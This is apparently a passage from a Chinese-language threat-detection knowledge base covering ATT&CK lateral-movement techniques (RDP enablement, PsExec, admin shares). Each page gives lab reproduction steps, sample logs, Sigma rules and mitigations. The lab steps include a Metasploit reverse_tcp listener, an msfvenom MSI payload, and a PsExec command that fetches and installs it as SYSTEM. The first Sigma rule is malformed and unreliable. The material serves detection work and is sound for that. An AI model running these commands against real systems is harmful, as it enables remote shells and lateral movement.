`tzutil /g`、`w32tm /tz`、`Invoke-WebRequest`、`Get-WinSystemLocale`。 2. **文件相关**: - **输出文件**:如 `C:\Temp\timezone.txt`、`geoip.txt`、`locale.txt`。 3. **注册表相关**: - **访问路径**:`HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation`。 - **事件**:4663(安全日志)、13(Sysmon)。 4. **网络相关**: - **HTTP 连接**:目标端口 80,访问 GeoIP API(如 `ip-api.com`)。 - **事件**:5156(安全日志)、3(Sysmon)。 5. **隐藏手段**: - 重命名工具(如 `tzutil.exe` 改为 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del geoip.txt`)。 - 通过网络传输输出文件(如 FTP、HTTP)。 ## 检测规则/方法 ### Sigma 规则 ```yaml title: Windows 地理位置发现 id: 8d7f6e5c-2b1a-4c9d-b3e4-0f9a8c7b6d5e description: 检测通过 tzutil、w32tm、reg、PowerShell 或 systeminfo 查询系统时区、IP 归属地或语言设置的行为 references: - https://attack.mitre.org/techniques/T1614/002 - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1614/T1614.md tags: - attack.discovery - attack.t1614.002 status: experimental author: 0x783kb date: 2025/05/25 logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 NewProcessName|endswith: - '\tzutil.exe' - '\w32tm.exe' - '\reg.exe' - '\systeminfo.exe' ProcessCommandLine: - contains: '/g' - contains: '/tz' - contains: 'TimeZoneInformation' - contains: 'System Locale' selection_powershell: EventID: 4104 ScriptBlockText: - contains: 'Get-AD' - Contains: 'Invoke-WebRequest' - contains: 'ip-api.com' - contains: 'Get-WinSystemLocale' selection_sysmon: EventID: - 1 Image: - ends with: '\tzutil.exe' - ends with: '\windows' - ends with: '\reg.exe' - ends with: '\powershell.exe' - ends with: '\systeminfo.exe' CommandLine: - contains: '/g' - contains: '/tz' - contains: 'TimeZoneInformation' - contains: 'Invoke-WebRequest' - contains: 'Get-TimeZone' - contains: 'Get-WinSystemLocale' - contains: 'System Locale' selection_file: EventID: 11 TargetFilename: - ends with: '.txt' - ends with: '.csv' TargetFilename: - contains: 'timezone' - contains: 'geo' - contains: 'locale' selection_network: EventID: 4624 DestinationPort: - 80 Application: - contains: 'powershell selection_powershell: EventID: 4104 ScriptBlockText: - contains: 'Get' condition: all timeframe: 15m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename - TargetObject - DestinationPort level: medium falsepositives: - 管理员运行时区或语言检查(如 tzutil、Get-WinSystemLocale)。 - 合法 IT 管理工具或脚本(如 SCCM、Ansible)触发类似行为。 - 系统更新或网络诊断工具访问 GeoIP API。 ``` ### 检测方法 1. **进程监控**: - 监控 `tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`、`systeminfo.exe` 的进程创建(事件 ID 4688、1)。 - 检查命令行参数,如 `/g`、`/tz`、`Invoke-WebRequest`、`Get-WinSystemLocale`。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-TimeZone`、`Invoke-WebRequest`、`Get-WinSystemLocale`。 3. **文件监控**: - 检测 TXT 或 CSV 文件创建(事件 ID 11),文件名包含 `timezone`、`geoip`、`locale`。 4. **网络监控**: - 检测 HTTP 连接(端口 80),记录对 GeoIP` API 的请求(如 `ip-api`)。 5. **注册表监控**: - 监控对 `HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation` 的访问(事件 ID 4663、13)。 6. **行为分析**: - 检测短时间内高频时区或 IP 查询(5 分钟内多次触发)。 - 结合上下文分析,如异常用户、非常规时间段或未知父进程。 ## 建议 1. **防御措施**: - **限制工具执行**:限制普通用户对 `tzutil.exe`、`w32tm.exe`、`reg.exe` 的执行权限。 - **限制 PowerShell**:通过组策略限制 PowerShell 脚本执行(如 `Invoke-WebRequest`、`Get-TimeZone`)。 - **部署 EDR**:部署 EDR 工具,监控异常时区或 IP 查询行为。 - **网络限制**:配置防火墙,限制对未知 GeoIP API 的 HTTP 请求(端口 80)。 - **系统审查**:定期审查系统语言和时区设置,防止未授权更改。 2. **检测优化**: - 监控短时间内高频的时区或语言查询(5分钟内多次触发)。 - 结合上下文分析,例如异常用户、非常规时间段或未知的父进程。 - 检测文件的创建(例如 `timezone.txt` 或 `geoip.txt`)。 - 监控 HTTP 流量,检测对 GeoIP API 的访问(如 `ip-api.com`)。 3. **降低误报**: - 排除管理员用于系统管理的合法操作(例如 `tzutil /g`,或 `Get-WinSystemLocale`)。 - 配置白名单,过滤已知的 IT 管理工具(如 SCCM、Ansible)。 - 验证网络请求目标,确保与 GeoIP 服务相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `curl`,或 `wget`)或定制脚本,建议监控未知可执行文件的运行。 - 检测异常的 HTTP 请求或非标准 PowerShell 进程。 - 使用 SIEM 关联进程、文件、网络和注册表日志以增强检测能力。 ## 参考推荐 - MITRE ATT&CK: T1614-002 - Atomic Red Team - T1614 测试用例 ================================================ FILE: Windows/10横向移动/T1021.001-Win-使用Start_Rdp开启远程桌面服务.md ================================================ # T1021.001-Win-使用Start_Rdp开启远程桌面服务 ## 描述 攻击者可能利用有效帐户通过远程桌面协议(RDP)登录目标系统,从而以登录用户身份执行操作。RDP是Windows操作系统中的常见功能,允许用户通过图形界面访问远程系统,微软将其实现称为远程桌面服务(RDS)。如果RDP服务已启用且攻击者拥有有效凭据,他们可以通过RDP连接扩展访问权限、执行横向移动或实现持久化。攻击者可能通过凭据获取技术(如凭据转储、键盘记录)获得RDP所需的凭据。 `Start_Rdp.exe`是一个开源工具(https://github.com/Ryze-T/Windows_API_Tools),用于通过修改注册表启用RDP服务,攻击者可能利用此类工具快速开启目标系统的远程桌面功能。 ## 测试案例 ### 用例 - **启用RDP服务**:攻击者使用`Start_Rdp.exe`修改注册表,启用目标系统的RDP服务以便后续访问。 - **持久化**:通过脚本或计划任务定期运行`Start_Rdp.exe`,确保RDP服务保持开启。 - **横向移动**:结合有效凭据,通过RDP登录目标系统执行进一步操作。 ### 示例场景 - 攻击者在受损的Windows系统上运行`Start_Rdp.exe`,修改注册表键`HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections`为`0`,启用RDP服务。 - 使用有效凭据通过RDP连接目标系统,执行命令或提取数据。 ### 路径 `Start_Rdp.exe`通常由攻击者手动部署,路径取决于执行位置: ```yml - C:\Windows_API_Tools-main\Start_Rdp.exe - C:\Temp\Start_Rdp.exe ``` ### 所需权限 - 管理员权限(修改注册表以启用RDP服务)。 - 用户权限(若仅通过RDP登录)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`Start_Rdp.exe`或其他进程(如`reg.exe`)的创建及命令行参数(需启用命令行审核)。 - **事件ID 4657**:记录注册表值的修改(如`fDenyTSConnections`)。 ### Sysmon日志 - **事件ID 1**:捕获`Start_Rdp.exe`进程创建及命令行参数。 - **事件ID 13**:记录注册表修改事件(如`HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections`)。 - **事件ID 3**:记录RDP相关的网络连接(若攻击者通过RDP登录)。 ### 网络日志 - 捕获RDP协议(TCP 3389)的入站或出站流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2012、Windows 10/11或Windows Server 2016/2019。 - **权限**:管理员权限。 - **工具**: - `Start_Rdp.exe`(从https://github.com/Ryze-T/Windows_API_Tools获取)。 - Sysmon(用于进程和注册表监控)。 - Wireshark(捕获RDP网络流量)。 - **网络**:隔离网络环境,允许TCP 3389流量。 - **日志**:启用Windows安全日志、Sysmon日志和网络日志。 ### 攻击步骤 1. **获取Start_Rdp.exe**: - 下载并解压Windows_API_Tools(https://github.com/Ryze-T/Windows_API_Tools)。 - 复制`Start_Rdp.exe`到靶机(如`C:\Windows_API_Tools-main\Start_Rdp.exe`)。 2. **运行Start_Rdp.exe**: ```bash C:\Windows_API_Tools-main>Start_Rdp.exe success ``` - 命令修改注册表键`HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections`为`0`,启用RDP服务。 3. **验证结果**: - 检查注册表键值: ```bash reg query HKLM\System\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections ``` - 预期输出:`fDenyTSConnections REG_DWORD 0x0` - 使用RDP客户端(如`mstsc.exe`)尝试连接目标系统,确认RDP服务已启用。 - 验证Sysmon日志是否记录进程创建和注册表修改。 4. **清理**: - 禁用RDP服务: ```bash reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f ``` - 删除`Start_Rdp.exe`: ```bash del C:\Windows_API_Tools-main\Start_Rdp.exe ``` ## 测试留痕 以下为Sysmon日志示例(事件ID 1,进程创建): ```log EventID: 1 RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2025-06-08T04:19:46.909Z ProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000} ProcessId: 2796 Image: C:\Windows_API_Tools-main\Start_Rdp.exe FileVersion: - Description: - Product: - Company: - OriginalFileName: - CommandLine: Start_Rdp.exe CurrentDirectory: C:\Windows_API_Tools-main\ User: WEIDONG\Administrator LogonGuid: {4a363fee-2447-623c-df16-080000000000} LogonId: 0x816DF TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=9805144590D86D7BF4D6D01BB368047BC94EF174,MD5=14148598AD98D05A820462F0BBD07B9F,SHA256=98579200636025AA468A3EEC8B217273630FD4658F6ABDBB035C8A094650311A ParentProcessGuid: {4a363fee-246e-623c-4a6d-0f0000000000} ParentProcessId: 3472 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ParentUser: WEIDONG\Administrator ``` 以下为Sysmon日志示例(事件ID 13,注册表修改): ```log EventID: 13 RuleName: technique_id=T1112,technique_name=Modify Registry EventType: SetValue UtcTime: 2025-06-08T04:19:46.909Z ProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000} ProcessId: 2796 Image: C:\Windows_API_Tools-main\Start_Rdp.exe TargetObject: HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections Details: DWORD (0x00000000) User: WEIDONG\Administrator ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测`Start_Rdp.exe`或其他工具启用RDP服务的行为: ```yml title: Suspicious RDP Service Activation id: f7a8c9d5-4b3c-5e6d-9f8e-3a4b5c6d7e8f status: experimental description: Detects enabling of Windows Remote Desktop Service via registry modification references: - https://attack.mitre.org/techniques/T1021/001 - https://github.com/Ryze-T/Windows_API_Tools logsource: product: windows category: registry_event detection: selection: EventID: 13 TargetObject|endswith: '\Control\Terminal Server\fDenyTSConnections' Details: DWORD (0x00000000) condition: selection falsepositives: - Legitimate administrative actions enabling RDP - System configuration changes by IT staff level: medium ``` ### 检测思路 1. **注册表监控**: - 检测`HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections`被设置为`0`的修改事件。 - 使用Sysmon事件ID 13捕获注册表操作。 2. **进程监控**: - 检测`Start_Rdp.exe`或其他可疑进程(如`reg.exe`)的创建,尤其是命令行涉及RDP配置。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)。 3. **网络监控**: - 检测TCP 3389端口的入站或出站流量,确认RDP连接。 - 检查连接的目标IP是否为已知C2服务器。 4. **行为基线**: - 建立组织内RDP服务的正常启用模式,识别异常行为(如夜间运行、非管理员用户)。 5. **文件监控**: - 检测`Start_Rdp.exe`或其他非系统工具的创建或执行。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控注册表修改(事件ID 13)、进程创建(事件ID 1)和网络连接(事件ID 3)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控RDP相关注册表和网络活动。 - **防火墙规则**:监控TCP 3389端口流量,限制未授权的RDP连接。 - **误报过滤**:排除IT管理员或合法脚本启用RDP的行为,结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **RDP限制**: - 通过组策略禁用RDP服务(设置`fDenyTSConnections`为`1`),除非必要。 - 限制RDP访问,仅允许特定用户或IP范围。 2. **注册表保护**: - 限制非管理员用户修改`HKLM\System\CurrentControlSet\Control\Terminal Server`。 3. **应用白名单**: - 使用AppLocker或WDAC限制`Start_Rdp.exe`或非系统工具的执行。 4. **网络监控**: - 部署IDS/IPS,检测异常RDP流量(如连接到可疑IP)。 5. **凭据保护**: - 启用多因素认证(MFA)保护RDP登录,降低凭据泄露风险。 ## 参考推荐 - MITRE ATT&CK T1021.001 https://attack.mitre.org/techniques/T1021/001 - 系统监视器(Sysmon)工具的使用 https://blog.csdn.net/ducc20180301/article/details/119350200 - Windows_API_Tools https://github.com/Ryze-T/Windows_API_Tools ================================================ FILE: Windows/10横向移动/T1021.002-Win-基于PsExec执行payload(白名单).md ================================================ # T1021.002-Win-基于白名单PsExec执行Payload ## 描述 攻击者可能利用有效帐户通过服务器消息块(SMB)协议访问远程网络共享(如`C$`、`ADMIN$`、`IPC$`),以登录用户身份执行操作。SMB是Windows系统中用于文件、打印机和串行端口共享的协议,Linux和macOS通过Samba实现类似功能。Windows的隐藏管理员共享仅限管理员访问,支持远程文件复制和管理功能。攻击者结合管理员级凭据,通过SMB实现横向移动、文件传输或远程执行。PsExec是Sysinternals Suite的轻量级工具,允许在远程系统上执行进程,常被攻击者用于通过`IPC$`共享部署和执行恶意Payload(如Meterpreter),实现反弹Shell或其他恶意操作。 ## 测试案例 ### 用例 - **横向移动**:使用PsExec通过`IPC$`共享在远程系统上执行命令或Payload。 - **Payload部署**:通过`ADMIN$`共享上传恶意文件,随后使用PsExec执行。 - **反弹Shell**:利用PsExec运行Meterpreter Payload,建立与攻击者C2服务器的连接。 - **持久化**:通过PsExec创建计划任务或服务,确保恶意代码持续运行。 ### 示例场景 - 攻击者使用PsExec通过SMB在目标系统上运行`msiexec.exe`,安装从远程服务器下载的恶意MSI文件(`shellcode.msi`),建立Meterpreter反弹Shell。 - 利用管理员凭据访问`IPC$`共享,执行远程命令。 ### 路径 - PsExec:通常由攻击者手动部署,路径如: ```yml - C:\Users\\Desktop\PSTools\PsExec.exe - C:\Temp\PsExec.exe ``` - PSEXESVC:PsExec在目标系统创建的服务,路径: ```yml - C:\Windows\PSEXESVC.exe ``` ### 所需权限 - 管理员权限(访问管理员共享、执行PsExec)。 - 有效凭据或NTLM哈希(通过传递哈希攻击)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`PsExec.exe`、`PSEXESVC.exe`或`msiexec.exe`进程创建及命令行参数(需启用命令行审核)。 - **事件ID 5140**:记录网络共享访问(如`IPC$`)。 - **事件ID 5145**:记录详细的共享访问(如`PSEXESVC`文件)。 - **事件ID 4624**:记录网络登录事件(类型3,可能涉及SMB)。 - **事件ID 4672**:记录分配给新登录的安全特权(如管理员登录)。 ### Sysmon日志 - **事件ID 1**:捕获`PsExec.exe`、`PSEXESVC.exe`或`msiexec.exe`进程创建及命令行参数。 - **事件ID 3**:记录SMB连接(TCP 445端口)的网络活动。 - **事件ID 11**:记录共享中文件的创建或修改(如`PSEXESVC.exe`)。 - **事件ID 7**:记录模块加载(如恶意MSI加载的DLL)。 ### Netflow日志 - 捕获TCP 445端口的SMB流量及TCP 4444端口的反弹Shell流量。 ## 测试复现 ### 环境准备 - **攻击机**:Kali Linux 2019(或其他支持Metasploit的系统)。 - **靶机**:Windows 7/10/11或Windows Server 2012/2016(已启用SMB和管理员共享)。 - **权限**:域管理员或本地管理员凭据。 - **工具**: - Metasploit Framework(生成Payload和监听反弹Shell)。 - PsExec(从https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec获取)。 - Sysmon(监控进程和网络活动)。 - Wireshark(捕获SMB和反弹Shell流量)。 - **网络**:隔离网络环境,允许TCP 445和4444端口流量。 - **日志**:启用Windows安全日志(配置审核进程创建)、Sysmon日志和Netflow日志。 - 启用命令行记录: ``` 本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在过程创建事件中加入命令行 > 启用 ``` ### 攻击步骤 1. **配置Metasploit监听器(攻击机)**: ```bash msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 msf5 exploit(multi/handler) > set lport 4444 msf5 exploit(multi/handler) > exploit ``` 2. **生成恶意Payload(攻击机)**: ```bash msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f msi > shellcode.msi ``` - 托管`shellcode.msi`于攻击机的Web服务器: ```bash python3 -m http.server 80 ``` 3. **执行PsExec(靶机)**: - 将`PsExec.exe`复制到靶机(如`C:\Users\12306Br0\Desktop\PSTools\PsExec.exe`)。 - 以管理员权限运行: ```dos PsExec.exe -d -s msiexec.exe /q /i http://192.168.126.146/shellcode.msi ``` - 参数说明: - `-d`:非交互模式,后台运行。 - `-s`:以SYSTEM权限运行。 - `/q`:安静模式,无用户界面。 - `/i`:安装MSI文件。 4. **获取反弹Shell(攻击机)**: - Metasploit接收Meterpreter会话: ``` [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.149:49371) at 2025-06-08 04:24:44 +0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ``` 5. **验证结果**: - 检查靶机是否创建`C:\Windows\PSEXESVC.exe`。 - 使用Wireshark捕获TCP 445(SMB)和TCP 4444(反弹Shell)流量。 - 验证Sysmon日志是否记录`PsExec.exe`、`PSEXESVC.exe`和`msiexec.exe`的进程创建。 6. **清理**: - 靶机: ```dos del C:\Windows\PSEXESVC.exe del C:\Users\12306Br0\Desktop\PSTools\PsExec.exe ``` - 攻击机: ```bash rm shellcode.msi ``` ## 测试留痕 以下为Windows安全日志示例(事件ID 4688,PsExec进程创建): ```yml EventID: 4688 TimeCreated: 2025-06-08T04:24:29.237Z Channel: Security Hostname: WIN7-TARGET SubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-1001 SubjectUserName: 12306Br0 SubjectDomainName: 12306Br0-PC SubjectLogonId: 0x6e1ea NewProcessId: 0xe84 NewProcessName: C:\Users\12306Br0\Desktop\PSTools\PsExec.exe ProcessCommandLine: PsExec.exe -d -s msiexec.exe /q /i http://192.168.126.146/shellcode.msi CreatorProcessId: 0xdac CreatorProcessName: C:\Windows\System32\cmd.exe TokenElevationType: %%1936 ``` 以下为Sysmon日志示例(事件ID 1,PSEXESVC创建): ```yml EventID: 1 UtcTime: 2025-06-08T04:24:29.284Z ProcessGuid: {bb1f7c32-1829-5e9b-0000-00108c864001} ProcessId: 4044 Image: C:\Windows\PSEXESVC.exe FileVersion: 2.2 Description: PsExec Service Product: Sysinternals PsExec Company: Sysinternals CommandLine: C:\Windows\PSEXESVC.exe CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM LogonId: 0x3e7 IntegrityLevel: System Hashes: SHA1=A17C21B909C56D93D978014E63FB06926EAEA8E7 ParentProcessId: 496 ParentImage: C:\Windows\System32\services.exe ``` 以下为Windows安全日志示例(事件ID 5140,IPC$访问): ```yml EventID: 5140 TimeCreated: 2025-06-08T04:24:29.456Z Channel: Security Hostname: WIN7-TARGET SubjectUserName: 12306Br0 SubjectDomainName: 12306Br0-PC ShareName: \\*\IPC$ SourceAddress: fe80::719e:d312:648f:4884 SourcePort: 49369 ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测PsExec执行Payload的行为: ```yml title: Suspicious PsExec Execution via Admin Shares id: d9e8f7c6-6a5b-7c8d-9f0e-5b4c6d7e8f9b status: experimental description: Detects PsExec execution accessing admin shares to deploy payloads references: - https://attack.mitre.org/techniques/T1021/002 - https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec logsource: product: windows category: process_creation detection: selection: EventID: 4688 Image|endswith: - '\PsExec.exe' - '\PSEXESVC.exe' condition: selection falsepositives: - Legitimate administrative use of PsExec by IT staff - System maintenance tasks level: high ``` ### 检测思路 1. **进程监控**: - 检测`PsExec.exe`和`PSEXESVC.exe`进程创建,尤其是命令行包含`msiexec.exe`或`.msi`。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)调用PsExec。 2. **共享访问监控**: - 检测`IPC$`、`C$`或`ADMIN$`共享的访问(事件ID 5140、5145)。 - 检查共享访问的相对目标名称(如`PSEXESVC`)。 3. **网络监控**: - 检测TCP 445端口的SMB流量,尤其是与`IPC$`共享的连接。 - 监控TCP 4444等非标准端口的反弹Shell流量。 4. **文件监控**: - 检测`C:\Windows\PSEXESVC.exe`的创建或异常MSI文件的下载。 5. **行为基线**: - 建立组织内PsExec和SMB共享的正常使用模式,识别异常行为(如夜间执行、非管理员用户)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控进程创建(事件ID 1)、网络连接(事件ID 3)和文件操作(事件ID 11)。 - **命令行记录**:启用Windows安全日志的命令行审核,捕获PsExec的详细参数。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测PsExec执行和SMB共享访问。 - **误报过滤**:排除IT管理员的合法PsExec使用,结合上下文(如用户身份、目标IP)降低误报率。 ## 缓解措施 1. **共享访问控制**: - 禁用不必要的管理员共享: ```bash reg add "HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f ``` - 限制对`C$`、`ADMIN$`和`IPC$`的访问,仅允许特定用户或IP。 2. **凭据保护**: - 启用多因素认证(MFA)保护管理员账户。 - 限制NTLM哈希传递攻击(如启用Kerberos或禁用NTLM)。 3. **应用白名单**: - 使用AppLocker或WDAC限制`PsExec.exe`和非系统工具的执行。 4. **网络限制**: - 配置防火墙阻止未经授权的TCP 445流量。 - 使用网络分段隔离敏感系统。 5. **补丁管理**: - 确保系统安装最新补丁,防止SMB协议漏洞(如EternalBlue)。 ## 参考推荐 - MITRE ATT&CK T1021.002 https://attack.mitre.org/techniques/T1021/002 - PsExec官方文档 https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec - 基于白名单PsExec执行Payload https://blog.csdn.net/ws13129/article/details/89879771 ================================================ FILE: Windows/10横向移动/T1021.002-Win-管理员共享.md ================================================ # T1021.002-Win-管理员共享 ## 描述 攻击者可能利用有效帐户通过服务器消息块(SMB)协议与远程网络共享交互,以登录用户身份执行操作。SMB是Windows系统中用于文件、打印机和串行端口共享的协议,Linux和macOS通过Samba实现类似功能。Windows系统包含隐藏的管理员共享(如`C$`、`ADMIN$`、`IPC$`),仅限管理员访问,提供远程文件复制和管理功能。攻击者可结合管理员级凭据,通过SMB访问这些共享,实现横向移动、文件传输、远程执行或持久化操作。相关技术包括使用远程过程调用(RPC)、计划任务、服务执行或Windows管理规范(WMI)。攻击者还可能利用NTLM哈希通过“传递哈希”攻击访问管理员共享。 ## 测试案例 ### 用例 - **横向移动**:攻击者使用有效管理员凭据通过SMB访问`C$`共享,浏览目标系统文件。 - **文件传输**:将恶意二进制文件上传至`ADMIN$`共享,随后通过远程执行运行。 - **数据窃取**:从`C$`共享下载敏感文件(如配置文件、数据库)。 - **持久化**:通过`IPC$`共享结合WMI或计划任务创建持久化机制。 ### 示例场景 - 攻击者使用窃取的管理员凭据通过SMB连接到目标系统的`C$`共享,复制恶意脚本。 - 使用`psexec`或`wmic`通过`IPC$`共享在远程系统上执行命令。 ### 路径 管理员共享默认路径: ```yml - \\\C$ - \\\ADMIN$ - \\\IPC$ ``` ### 所需权限 - 管理员权限(访问管理员共享)。 - 有效凭据或NTLM哈希(通过传递哈希攻击)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 5140**:记录网络共享访问(如`C$`、`ADMIN$`)。 - **事件ID 4672**:记录分配给新登录的安全特权(如管理员登录)。 - **事件ID 4624**:记录成功登录事件(类型3表示网络登录,可能涉及SMB)。 ### Sysmon日志 - **事件ID 1**:捕获相关进程(如`explorer.exe`、`net.exe`)创建及命令行参数。 - **事件ID 3**:记录SMB连接(TCP 445端口)的网络活动。 - **事件ID 11**:记录共享中文件的创建或修改。 ### Netflow日志 - 捕获TCP 445端口的流量,记录源IP、目标IP和数据量。 ### 其他日志 - **SMB事件日志**:Windows事件ID 5145记录详细的共享访问(如文件路径)。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2012/2016或Windows 10/11(已启用SMB和管理员共享)。 - **权限**:域管理员或本地管理员凭据。 - **工具**: - `net.exe`(系统自带,用于访问共享)。 - `psexec`(Sysinternals工具,用于远程执行)。 - Sysmon(监控进程和网络活动)。 - Wireshark(捕获SMB流量)。 - **网络**:隔离网络环境,允许TCP 445流量。 - **日志**:启用Windows安全日志、Sysmon日志和Netflow日志。 ### 攻击步骤 1. **验证凭据**: - 确保拥有目标系统的管理员凭据(如`Administrator:Password123`)。 2. **访问管理员共享**: ```bash net use \\\C$ /user:\ ``` - 示例: ```bash net use \\192.168.1.100\C$ /user:WEIDONG\Administrator Password123 ``` 3. **浏览或复制文件**: ```bash dir \\192.168.1.100\C$\Users copy malicious.exe \\192.168.1.100\ADMIN$\malicious.exe ``` 4. **远程执行(可选)**: - 使用`psexec`执行上传的文件: ```bash psexec \\192.168.1.100 -u WEIDONG\Administrator -p Password123 cmd ``` 5. **验证结果**: - 检查目标系统共享中的文件(如`\\192.168.1.100\ADMIN$\malicious.exe`)。 - 使用Wireshark捕获TCP 445流量。 - 验证Sysmon日志是否记录进程创建、文件操作和网络连接。 6. **清理**: - 删除上传的文件: ```bash del \\192.168.1.100\ADMIN$\malicious.exe ``` - 断开共享连接: ```bash net use \\192.168.1.100\C$ /delete ``` ## 测试留痕 以下为Windows安全日志示例(事件ID 5140,共享访问): ```yml EventID: 5140 TimeCreated: 2025-06-08T04:45:23.456Z Channel: Security Hostname: TARGET-SRV SubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-500 SubjectUserName: Administrator SubjectDomainName: WEIDONG SubjectLogonId: 0x3E7 ShareName: \\*\C$ SharePath: \??\C:\ AccessMask: 0x1 ``` 以下为Sysmon日志示例(事件ID 3,网络连接): ```yml EventID: 3 UtcTime: 2025-06-08T04:45:23.789Z ProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000} ProcessId: 1234 Image: C:\Windows\System32\svchost.exe User: NT AUTHORITY\SYSTEM Protocol: tcp SourceIp: 192.168.1.10 SourcePort: 49152 DestinationIp: 192.168.1.100 DestinationPort: 445 ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测SMB管理员共享访问行为: ```yml title: Suspicious SMB Admin Share Access id: c8d9e7f6-5a4b-6c7d-8e9f-4b3c5d6e7f9a status: experimental description: Detects access to Windows admin shares (C$, ADMIN$, IPC$) via SMB references: - https://attack.mitre.org/techniques/T1021/002 logsource: product: windows category: network_share detection: selection: EventID: 5140 ShareName|contains: - '\C$' - '\ADMIN$' - '\IPC$' condition: selection falsepositives: - Legitimate administrative activities by IT staff - Backup or file sharing operations level: medium ``` ### 检测思路 1. **网络流量监控**: - 检测TCP 445端口的SMB流量,尤其是访问`C$`、`ADMIN$`或`IPC$`共享的连接。 - 使用Netflow或协议解析器提取文件路径(如`proto_info.file_name`)。 2. **进程监控**: - 检测访问管理员共享的进程(如`net.exe`、`psexec.exe`),尤其是命令行包含`\\\C$`。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)。 3. **文件操作监控**: - 检测共享中文件的创建、修改或读取事件(如上传恶意文件到`ADMIN$`)。 4. **登录事件监控**: - 检查事件ID 4624(类型3,网络登录),确认SMB会话的认证。 5. **行为基线**: - 建立组织内管理员共享的正常访问模式,识别异常行为(如夜间访问、非管理员用户)。 ### 检测建议 - **Netflow分析**:使用SIEM(如Splunk、Elastic)监控TCP 445流量,提取SMB共享访问细节。 - **Sysmon配置**:配置Sysmon监控网络连接(事件ID 3)、共享访问(事件ID 5140)和文件操作(事件ID 11)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测管理员共享的异常访问。 - **误报过滤**:排除IT管理员或备份脚本的合法SMB活动,结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **共享访问控制**: - 禁用不必要的管理员共享(如`C$`、`ADMIN$`),通过组策略设置: ```bash reg add "HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f ``` - 限制对管理员共享的访问,仅允许特定用户或IP。 2. **凭据保护**: - 启用多因素认证(MFA)保护管理员账户。 - 定期轮换管理员凭据,限制NTLM哈希传递攻击。 3. **网络限制**: - 配置防火墙阻止未经授权的TCP 445流量。 - 使用网络分段隔离敏感系统,减少SMB暴露面。 4. **监控与告警**: - 部署IDS/IPS,检测异常SMB流量或共享访问。 - 配置SIEM实时告警管理员共享的访问。 5. **补丁管理**: - 确保系统安装最新补丁,防止SMB协议漏洞(如EternalBlue)。 ## 参考推荐 - MITRE ATT&CK T1021.002 https://attack.mitre.org/techniques/T1021/002 ================================================ FILE: Windows/10横向移动/T1021.006-Win-远程powershell会话.md ================================================ # T1021.006-Win-远程PowerShell会话 ## 描述 攻击者可能利用有效帐户通过Windows远程管理(WinRM)协议与远程系统交互,以登录用户身份执行操作。WinRM是Windows内置的服务和协议,允许远程执行命令、修改注册表、管理服务或运行可执行文件。攻击者可通过`winrm`命令行工具或PowerShell(如`Enter-PSSession`)调用WinRM,结合有效凭据实现横向移动、数据收集或持久化。WinRM默认使用TCP 